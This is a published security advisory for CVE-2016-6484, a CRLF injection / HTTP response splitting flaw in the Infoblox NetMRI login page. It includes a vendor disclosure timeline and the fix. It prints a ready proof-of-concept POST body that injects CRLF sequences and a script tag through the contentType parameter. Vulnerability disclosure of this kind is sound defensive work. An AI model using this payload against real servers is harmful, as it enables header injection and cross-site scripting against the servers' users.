Infoblox 7.0.1 CRLF Injection / HTTP Response Splitting

Credit: Alex Haynes
Risk: Low
Local: No
Remote: Yes
CWE: CWE-113

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Exploit Title: [CVE-2016-6484] Infoblox Network Automation CRLF Injection/ HTTP splitting vulnerability Product: Infoblox Network Automation Vulnerable Versions: 7.0.1 and all previous versions Tested Version: 6.9.2 Advisory Publication: 06/09/2016 Vulnerability Type: [CWE-113:] Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Response Splitting) CVE Reference: CVE-2016-6484 Credit: Alex Haynes Advisory Details: (1) Vendor & Product Description -------------------------------- Vendor: Infoblox Product & Version: Infoblox Network Automation v7.0.1 Vendor URL & Download: Product Description: "Infoblox also offers a complementary, powerful network automation platform which enables discovery, switch port management, network change configuration and compliance management for multi-vendor network devices. Automation cuts down administrator workload and reduces risk of network outages due to improper configurations or changes." (2) Vulnerability Details: -------------------------- The login page of netmri is vulnerable to a HTTP splitting/CRLF injection. https://NETMRISERVER/netmri/config/userAdmin/login.tdf The POST of the login action contains the following parameters, and the contentType parameter can be modified to be reflected in the response header: skipjackPassword=test&width=100&contentType=application/xml&msg=Please+wait+while+your+credentials+are+validated...&url=%2Fnetmri%2Fconfig%2FuserAdmin%2Flogin.tdf&mode=DO-LOGIN&skipjackUsername=test&multipartFile=&title=Waiting+For+Process&filename=&licenseFile=input.licenseFile&authServerList=192.168.X.X%2C+10.X.X.X Once we control content-type, we can inject carriage return : %0a and line feed : %0d characters to break the header and introduce our own, effectively splitting the response. We can then introduce our own HTML and/or javascript to provoke a HTML injection or cross-site scripting attack.: skipjackPassword=test&width=100&contentType=%0d%0aContentLength:%2019%0d%0a%0d%0a<html><h1>Injected HTML</h1><script>alert(xss);</script><!--</html> &msg=Please+wait+while+your+credentials+are+validated...&url=%2Fnetmri%2Fconfig%2FuserAdmin%2Flogin.tdf&mode=DO-LOGIN&skipjackUsername=test&multipartFile=&title=Waiting+For+Process&filename=&licenseFile=input.licenseFile&authServerList=192.168.X.X%2C+10.X.X.X (3) Advisory Timeline: ---------------------- 25/01/2016 - First Contact informing vendor of vulnerabilities. No response. 01/02/2016 - Follow up e-mail to inform them of vulnerabilities. Response requesting further information. 01/02/2016 - Information on vulnerabilities sent to vendor. No response. 08/02/2016 - follow up e-mail requesting update. Vendor responds asking us to open a support ticket. 12/02/2016 - Infoblox products out of support so cannot raise ticket. write to vendor to explain situation. No response. 24/02/2016 - Follow up with vendor on vulnerabilities requesting an update. 10/03/2016 - Final follow up to vendor requesting an update. Vendor responds and opens support ticket for vulnerabilities, mentioning they will look into vulnerabilities. 14/03/2016 - vendor responds saying they are able to reproduce vulnerabilities 17/03/2016 - Vendor responds saying some of the vulnerabilities are already fixed in version 7.0.4 but cannot confirm which ones. 05/04/2016 - Request update from vendor on status of vulnerabilities. 12/04/2016 - Vendor responds saying CSRF already fixed in 7.0.1, XSS and HTTP Splitting to be fixed in upcoming 7.1.1 - expected release in summer. 30/06/2016 - Patch 7.1.1 released 06/09/2016 - Public disclosure (4)Solution: ------------ Upgrade to Version 7.1.1 (5) Credits: ------------ Discovered by Alex Haynes

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